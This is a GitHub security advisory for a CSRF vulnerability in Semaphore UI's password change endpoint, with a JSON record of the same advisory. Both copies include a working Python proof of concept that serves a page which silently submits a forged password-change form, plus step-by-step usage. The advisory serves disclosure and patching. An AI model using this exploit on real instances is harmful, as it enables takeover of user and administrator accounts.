GHSA-8CJ9-R88M-8945

Vulnerability from github – Published: 2026-09-03 19:23 – Updated: 2026-09-03 19:23
VLAI
Summary
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
Details

Summary

The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit, you can use the following python script:

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>

        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):

     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example : 

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337. 2 - Connect to semaphore UI in another tab with the targeted user. 3 - In the same browser, visit the malicious website (ex: localhost:1337). 4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

Severity
7.6 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/semaphoreui/semaphore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260707190631-c59c3dc9035b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:23:15Z",
    "nvd_published_at": "2026-08-12T16:17:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/\u003cid\u003e/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format=\u0027%(asctime)s - %(message)s\u0027)\n\ndef forge_malicious_page(target, user_id, newpassword):\n    return f\"\"\"\n        \u003chtml\u003e\n        \u003cbody\u003e\n\n        \u003cform id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\"\u003e\n\n        \u003cinput type=\"hidden\" name=\u0027{{\"password\": \"{newpassword}\", \"project_id\": 1}}\u0027  value=\u0027//}}\u0027 /\u003e\n        \u003c/form\u003e\n        \n        \u003cscript\u003e\n        document.getElementById(\"CSRF_POC\").submit();\n        \u003c/script\u003e\n\n        \u003c/body\u003e\n        \u003c/html\u003e\n    \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\",  help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\",  help=\"new password to set\", default=\u0027passwordchanged\u0027)\nparser.add_argument(\"-p\",\"--port\",  help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n    \n     def do_GET(self):\n        logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n                (self.client_address[0], self.command, self.path,\n                self.path.split(\u0027?\u0027)[1] if \u0027?\u0027 in self.path else \u0027None\u0027))\n        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(content)))\n        self.end_headers()\n        self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.",
  "id": "GHSA-8cj9-r88m-8945",
  "modified": "2026-09-03T19:23:15Z",
  "published": "2026-09-03T19:23:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/semaphoreui/semaphore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation"
}



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